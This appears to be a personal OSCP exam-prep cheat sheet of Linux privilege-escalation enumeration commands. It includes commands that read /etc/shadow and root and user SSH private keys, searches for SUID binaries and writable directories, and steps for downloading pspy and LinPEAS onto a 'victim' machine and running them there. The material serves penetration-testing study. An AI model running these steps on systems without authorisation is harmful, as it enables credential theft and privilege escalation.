> For the complete documentation index, see [llms.txt](https://personal-archive.gitbook.io/oscp-exam-prep/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://personal-archive.gitbook.io/oscp-exam-prep/enumeration/linux.md).

# Linux

## Online Resource

{% embed url="<https://wadcoms.github.io/>" %}

{% embed url="<https://gtfobins.github.io/>" %}

## Points of Interest

### Sudo Things

{% code overflow="wrap" fullWidth="true" %}

```
sudo -l
sudo -V | grep -i "sudo ver"
```

{% endcode %}

### System Information

{% code overflow="wrap" fullWidth="true" %}

```
Basic system information: uname -a
CPU information: lscpu
Disk information: lsblk
USB information: lsusb
Kernel Version: cat /etc/issue

Network: ss -nltp
```

{% endcode %}

### User Roles

{% code overflow="wrap" fullWidth="true" %}

```
id
groups
```

{% endcode %}

### Crontab

{% code overflow="wrap" fullWidth="true" %}

```
crontab -l
cat /etc/crontab

ls -lah /etc/cron.*
grep -i "CRON" /var/log/syslog
```

{% endcode %}

### Special Bits

{% code overflow="wrap" fullWidth="true" %}

```
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null
```

{% endcode %}

### Interesting Files

<pre data-overflow="wrap" data-full-width="true"><code>cat /etc/passwd
cat /etc/shadow
<strong>cat /etc/hosts
</strong><strong>ls -la /var/www
</strong><strong>ls -la /opt
</strong><strong>
</strong>cat /root/.ssh/authorized_keys
cat /root/.ssh/id_rsa
cat /home/&#x3C;user>/.ssh/id_rsa
cat /home/&#x3C;user>/.ssh/id_ecdsa
cat /home/&#x3C;user>/.ssh/authorized_keys

find / -name config.php -type f 2>/dev/null
find / -name doas.conf -type f 2>/dev/null
find / -name apache* -type d 2>/dev/null

find / -name *.txt -type f 2>/dev/null
find / -name *.sh -type f 2>/dev/null
find / -name .ht* -type f 2>/dev/null

find / -name id_rsa -type f 2>/dev/null
find / -name id_ecdsa -type f 2>/dev/null
find / -name authorized_keys -type f 2>/dev/null

find /home/ -name local.txt -type f 2>/dev/null
find /root/ -name proof.txt -type f 2>/dev/null
find / -name local.txt -type f 2>/dev/null
find / -name proof.txt -type f 2>/dev/null
</code></pre>

### Writable Directories

{% code overflow="wrap" fullWidth="true" %}

```
find / -writable -type d 2>/dev/null
```

{% endcode %}

### Catch Repeating Processes

{% code overflow="wrap" fullWidth="true" %}

```
watch -n 1 "ps aux"
watch -n 1 "ps aux | grep -i <keyword>"

while sleep 1; do ps aux; done
while sleep 1; do ps aux | grep -i <keyword>; done
```

{% endcode %}

### Monitoring Processes with PsPy

{% code overflow="wrap" fullWidth="true" %}

```
On Kali Machine:
 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
 python3 -m http.server 80
 
On Victim Machine:
 wget https://192.168.45.200/pspy64 && chmod +x pspy64
 ./pspy64
```

{% endcode %}

### Reading Binaries

<pre data-overflow="wrap" data-full-width="true"><code><strong>strings &#x3C;file>
</strong></code></pre>

### Finding Kernel Exploits

{% code overflow="wrap" fullWidth="true" %}

```docker
SearchSploit:
    searchploit <keyword>
    searchsploit -m <EDB-ID>

For Kernal Vulnerabilities:
    searchsploit "linux kernel <distro version> Local Privilege Escalation" | grep "<kernel versions>"
    
    <distro version> = cat /etc/issue
    <kernel versions> = uname -r
    
    Example: searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v "< 4.4.0" | grep -v “4.8”
```

{% endcode %}

## Automated Enumeration

### LinPeas

{% code overflow="wrap" fullWidth="true" %}

```
On the Attacker:
    /usr/share/peass/linpeas/linpeas.sh
    /usr/share/peass/linpeas/linpeas_small.sh
    wget https://github.com/peass-ng/PEASS-ng/releases/download/20250106-5a706ae2/linpeas.sh
    
Transfer the respective executable onto compromised system
Run the executable and enumerate the output

```

{% endcode %}